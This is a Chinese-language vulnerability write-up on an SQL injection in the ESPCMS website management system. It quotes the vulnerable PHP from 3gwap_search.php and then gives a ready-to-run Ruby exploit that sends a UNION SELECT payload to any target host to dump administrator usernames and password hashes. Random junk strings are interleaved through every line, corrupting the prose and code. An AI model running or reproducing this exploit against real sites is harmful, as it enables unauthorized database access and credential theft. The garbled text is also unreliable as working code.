0×0 漏洞概述0×1 漏洞细节
0 a, e, c' j# n" J0×2 PoC
; a2 o+ c( k0 D; o9 C
$ e# x' Z+ i4 R& n( f4 L ~
* _" _, S* f" X: f2 h9 h6 T% T6 M# [- H
0×0 漏洞概述
Z" e ?, n0 U$ w
' J$ C1 Y: n a! I* u$ x9 i% b+ l( j易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
1 O9 W; o. @. i. K$ P$ v) Q其在处理传入的参数时考虑不严谨导致SQL注入发生
! C! g" q! O. A8 e6 S
* K u v2 D+ Z: D) |
% a' \0 o7 U9 ^! |0×1 漏洞细节' s& H9 R" J1 n i! g" C
/ ]+ P6 p$ U7 O- a4 l) ?4 @6 C变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。1 K) Z$ w" N% L- W4 o3 D$ Y T
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
2 O4 Q5 D9 j5 _2 ^6 j而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。4 c+ ~! K: {0 n4 O8 Y) M
" q7 ]/ n" |6 D% r- {8 _1 F在/interface/3gwap_search.php文件的in_result函数中:& U* P M8 y1 K9 \. c# s- z- p
/ W( ^5 Z) K' E3 Z3 v9 L
9 G( h) J0 t; y7 F6 G2 A1 Q# A6 A; Y" A" J8 W# M$ H
function in_result() {
4 r6 ~- l4 R2 p# s4 J3 N ... ... ... ... ... ... ... ... ...
( ~* z2 [$ W2 o( T1 ? $urlcode = $_SERVER[ 'QUERY_STRING '];* i& V8 l/ x6 x/ u1 O
parse_str(html_entity_decode($urlcode), $output);4 N9 j, i. f% @4 @& T
: z; V! {. N* E7 n0 T/ Q% S7 N
... ... ... ... ... ... ... ... ...9 }3 y. z7 u6 H& l8 Y
if (is_array($output['attr' ]) && count($output['attr']) > 0) {4 U j" X) J) y
8 \" c( ^; g# V
$db_table = db_prefix . 'model_att';; z# H6 [9 S& ~# g: ~3 Y8 R
" K M4 a: c, f
foreach ($output['attr' ] as $key => $value) {
: I z8 C2 o' w* P" p if ($value) { U' m7 v3 D: _! E& r
( j" x7 @9 q9 g9 j- b' ^5 @% o
$key = addslashes($key);
$ `% [& ^* V) x. v" M $key = $this-> fun->inputcodetrim($key);
/ G* \- `1 W3 r# q $db_att_where = " WHERE isclass=1 AND attrname='$key'";) Y# |9 G% n9 z M4 v9 X
$countnum = $this->db_numrows($db_table, $db_att_where);+ ~# | R. J3 T2 N; J; q
if ($countnum > 0) {
( K6 [' B" g) D) M; _' ?5 B, a $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
a' f& m) y" |. l3 J }" l8 s, b4 f$ E& q) B7 f( ~
}
! E) i8 {* v0 i6 b1 J0 @) G }/ `1 e% l! V$ D
}
? c) `3 W. E6 H( {' o if (!empty ($keyword) && empty($keyname)) {% V0 J, @$ B" j' r" @
$keyname = 'title';$ m, ]4 Z {) {" h' x8 B2 J; K
$db_where.= " AND a.title like '%$keyword%'" ;% u' o g/ X: k. P; X1 l* t. F. R
} elseif (!empty ($keyword) && !empty($keyname)) {
0 |( K, ?" V2 ] $db_where.= " AND $keyname like '% $keyword%'";
) O0 \. P( m' e, k }, ^' a4 J! u9 r1 D
$pagemax = 15;0 ^% Z8 Y4 |8 R2 V
; Z' ^% X( S6 Q1 Y: w $pagesylte = 1;( m* f3 C$ }1 R* t
* i+ c+ z6 V0 }, M/ d/ U
if ($countnum > 0) {4 M, ^$ D; w8 `9 X, b( z
) T; {, c$ F" U' K $numpage = ceil($countnum / $pagemax);
, K1 d( a: R9 s% g7 Z5 n6 d } else {
3 s! R. k# K( I" Y2 h! h; t, c $numpage = 1;9 F4 T9 w' K3 G* T; O! y8 m' z' ]
}1 V5 N$ j5 @6 w5 a0 l) S- d
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;- X- |& S6 Z* A& G. I8 `, r. I
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
# Z6 A0 D: e- ^6 k$ _: S# u: ?8 h$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);6 X8 M0 L) A m$ a/ h' N4 J6 i
... ... ... ... ... ... ... ... ...
1 ?$ J. w# K9 y; d( K4 k0 w }* O! \+ S' U% q$ ~; x& j9 P
' k* o9 I- k/ U! N8 Z/ b
; F/ L+ y* g8 E9 y+ m
0×2 PoC
* g U6 \& {# \6 `+ n7 M0 j! ^' |. r; I
7 Q' E8 R1 }; p' X9 j# z- r( b- z1 r& S3 p) m( D1 M$ v3 D: R
require "net/http"
- @5 {# L* l) s% K2 [5 ]4 ]* p, g0 u- D$ V8 U% O
def request(method, url)
; J2 `* F: F, O! f if method.eql?("get")! F$ t( U( h- V& I
uri = URI.parse(url)4 k7 h9 L5 J3 s; C$ |
http = Net::HTTP.new(uri.host, uri.port)$ H4 q4 `0 |% r+ B8 y
response = http.request(Net::HTTP::Get.new(uri.request_uri))
+ O. r, M% p c2 H1 G return response3 [# e8 u, j& D5 R: M
end
% N4 S( B* I4 j: B; p# b8 @end
M$ f9 |: V1 f# r5 p: o$ `" f# a7 L# i
doc =<<HERE
! ^$ J8 p! `0 d9 S# Q5 m( K W( e-------------------------------------------------------
+ _7 U. Q1 w) q6 ^0 d; r& W" N: K4 NEspcms Injection Exploit; M. r9 @) z: Q, D* j5 ^) z' E
Author:ztz
$ W9 r$ t% O7 n, p- t8 T6 {$ ]Blog:http://ztz.fuzzexp.org/
# I3 d+ P9 j! K8 D-------------------------------------------------------9 u* H5 R3 O" ]& q2 P- T" `0 J
1 [+ J# }; }! w0 V% j; c
HERE
' U( @/ _9 T; [* w& D9 x, Q4 V
# P X1 q" F, Musage =<<HERE- e/ E f" T- J/ f( k5 C
Usage: ruby #{$0} host port path
- `/ V- E. C. X4 Eexample: ruby #{$0} www.target.com 80 /, E$ e4 K0 {/ D/ A: ^
HERE
( F, R, x( d0 ~1 Y$ w0 s! A4 p- c# E) U- I4 S6 {* Z7 y+ [
puts doc; C. L' G, S3 a( N, h
if ARGV.length < 3
, M" t7 f7 W5 |1 ~8 c puts usage
1 ^4 a) a2 s* [- t6 kelse8 f; b8 v, _# W
$host = ARGV[0]
3 x! G/ k' x: b! `; {* D $port = ARGV[1]2 i& K0 P# D; m' l7 q- y
$path = ARGV[2]
* }# x9 T& S- v, X
0 Q8 T2 v9 d$ X8 Y5 N puts "send request..."
# C7 ?9 `' z D( H url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
( T$ `: q1 P- }# ^) f( Xattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13) C; y8 v K2 e$ t0 X7 H. J
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
$ w8 s; v; M7 ^, M1 P+ d' X,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23", b5 P( `) {8 G. j X! g1 |
response = request("get", url)
3 D$ P4 k) M3 A7 ^/ ]$ P result = response.body.scan(/\w+&\w{32}/)
* \/ Y1 T- n* b) s0 @& ]/ a1 ~1 x puts result5 a, M8 @# k" p
end) a0 i: Y% F1 K+ @
1 w: O: G5 z+ i1 ^& y4 L |